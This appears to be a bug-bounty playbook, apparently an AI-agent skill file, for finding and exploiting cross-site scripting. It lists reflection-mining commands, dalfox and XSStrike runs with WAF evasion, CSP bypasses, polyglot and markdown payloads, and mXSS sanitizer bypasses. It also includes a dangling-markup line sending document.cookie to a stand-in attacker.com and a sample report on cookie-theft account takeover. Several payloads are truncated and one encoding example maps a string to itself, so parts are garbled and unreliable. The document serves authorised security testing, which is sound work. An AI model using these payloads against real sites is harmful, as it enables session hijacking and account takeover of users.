Xss

XSS Hunting

Self-XSS = N/A. Reflected with steal-cookie PoC = $$$. Stored = $$$$.

When to invoke

Trigger phrases:

• "test XSS"
• "find XSS"
• "CSP bypass"
• "is this reflected XSS"
• "input X reflects"

XSS taxonomy & payout

Step-by-Step Workflow

1. Find reflection points

# Mine candidates from URLs
cat all-urls.txt | grep -E '\?[a-zA-Z_]+=' | qsreplace 'BBARSENAL_REFLECT_TEST' | \
    while read url; do
        curl -s "$url" | grep -q 'BBARSENAL_REFLECT_TEST' && echo "[REFLECT] $url"
    done > reflective.txt

# Or use kxss (Go tool, fast)
cat all-urls.txt | kxss > kxss-output.txt
# kxss output shows which chars are reflected & how (encoded, raw, etc.)

2. Test reflection context

For each reflective parameter, determine where the value lands:

3. Throw payload sets

Discovery payload (canary):

'"><img src=x

This polyglot probes:

• Single-quote escape
• Double-quote escape
• HTML tag inject
• Event handler execution

If the canary doesn't fire, narrow:

# Test with dalfox (the gold standard for automated XSS)
dalfox url "https://target.com/search?q=test" --waf-evasion --mining-dom --skip-bav

# Bulk
cat reflective.txt | dalfox pipe --silence --waf-evasion --skip-bav -o xss-results.txt

4. CSP bypass (if blocked)

Check CSP:

curl -sI "https://target.com" | grep -i content-security-policy

Common bypassable CSPs:

# Bypass 1: jsonp endpoints on whitelisted domain
Content-Security-Policy: script-src 'self' https://accounts.google.com;
→ <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert"></script>

# Bypass 2: 'unsafe-eval' allows function() / eval / setTimeout(string)
→ <img src=x

# Bypass 3: 'unsafe-inline' allows <script>alert(1)</script>
→ trivial

# Bypass 4: angularJS payload (if AngularJS on page + unsafe-eval)
→ {{constructor.constructor('alert(1)')()}}

# Bypass 5: base-uri not restricted + script-src 'self'
→ <base href="https://attacker.com/"><script src="x.js"></script>

# Bypass 6: dangling markup (if no script needed)
→ <img src='https://attacker.com/log?cookie=`document.cookie`

Use csp-evaluator.withgoogle.com for analysis.

5. Polyglot payloads (when context is unknown)

<!-- Universal-ish polyglot -->
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(1)//'>

<!-- Compact universal -->
"><svg

<!-- For attribute contexts -->
"autofocus x="

<!-- For JavaScript string contexts -->
';alert(1)//

<!-- For URL/href -->
javascript:alert(1)

<!-- For onload/onerror with no quotes (some encoders strip quotes) -->
javascript:eval(atob('YWxlcnQoMSk='))

<!-- DOM context (when innerHTML is the sink) -->
<img src/onerror=alert(1)>

<!-- For markdown XSS -->
[XSS](javascript:alert(1))
[XSS](javascript&colon;alert(1))
![XSS](javascript:alert(1))
<a href="j&#x61;vascript:alert(1)">XSS</a>

See arsenal/xss-payloads/ for the curated set.

6. DOM XSS hunting

# Static analysis for DOM sinks in JS
grep -hE 'innerHTML|outerHTML|document\.write|eval\(|setTimeout\([\\\"']|setInterval\([\\\"']|Function\(|location\.[a-z]+\s*=|window\.name|postMessage' loot/target/js/files/*.js

DOM XSS sinks → sources flow analysis:

7. Stored XSS

Test every place data is stored and rendered to another user:

• Display name / username
• Profile bio / description
• Comments / posts / messages
• File names (uploaded files)
• File contents (SVG, HTML files)
• Address fields
• Custom fields (settings, integrations)
• Webhook URLs (rendered in admin panel)
• Support ticket / contact form (admin reads it)
• Markdown editors (preview vs render)
• Rich text editor outputs

Common stored XSS goldmines:

• SVG upload → <svg> (set Content-Type: image/svg+xml)
• Markdown editors that don't sanitize HTML
• "View as customer" / "Impersonate" admin features (admin views user content)

<!-- DOMPurify pre-Element-internal handling bypass: -->
<img src="x"
<!-- After insertion, browser may rewrite to: -->
<img src="x"    ← no change ↑
<!-- vs mXSS via SVG <math> namespaces -->
<svg><style><img src=x

# More aggressive than dalfox
python3 ~/tools/XSStrike/xsstrike.py -u "https://target.com/search?q=test" --fuzzer --crawl

## Reflected XSS in search parameter

**URL:** https://app.target.com/search?q=PAYLOAD
**Vulnerable parameter:** `q`
**Reflection context:** HTML body, inside `<div class="search-results">`

**PoC URL (popup):**

**PoC for cookie theft (impact escalation):**

**Cookie analysis:**
- `session_token` is NOT `HttpOnly` ← critical for impact
- `Secure` flag set
- `SameSite=Lax` ← link click works fine

**Impact:**
- Cookie steal → session hijack → full ATO of victim
- One-click attack: victim opens crafted link → session token sent to attacker
- Affects all users using the search feature

**Reproduction:**
1. Open crafted URL in any browser (logged in)
2. JavaScript executes
3. `document.cookie` is sent to attacker server
4. Attacker replays cookie in their browser → logged in as victim

**Suggested fix:**
1. Server-side output encoding on `q` parameter
2. Add `HttpOnly` to `session_token`
3. Add CSP header restricting inline scripts

URL: https://target.com/search?q=test
Unfiltered: [", <, >, ', `, }, {]

<  →  %3C  &lt;  &#x3c;  &#60;  &LT;
>  →  %3E  &gt;  &#x3e;  &#62;  &GT;
"  →  %22  &quot;  &#x22;  &#34;
'  →  %27  &apos;  &#x27;  &#39;
(  →  %28  &lpar;  &#x28;  &#40;
)  →  %29  &rpar;  &#x29;  &#41;
/  →  %2F  &sol;  &#x2f;  &#47;

# Double encode for filters that decode once
<  →  %253C

# Unicode encoding (some parsers accept)
<script>  →  <script>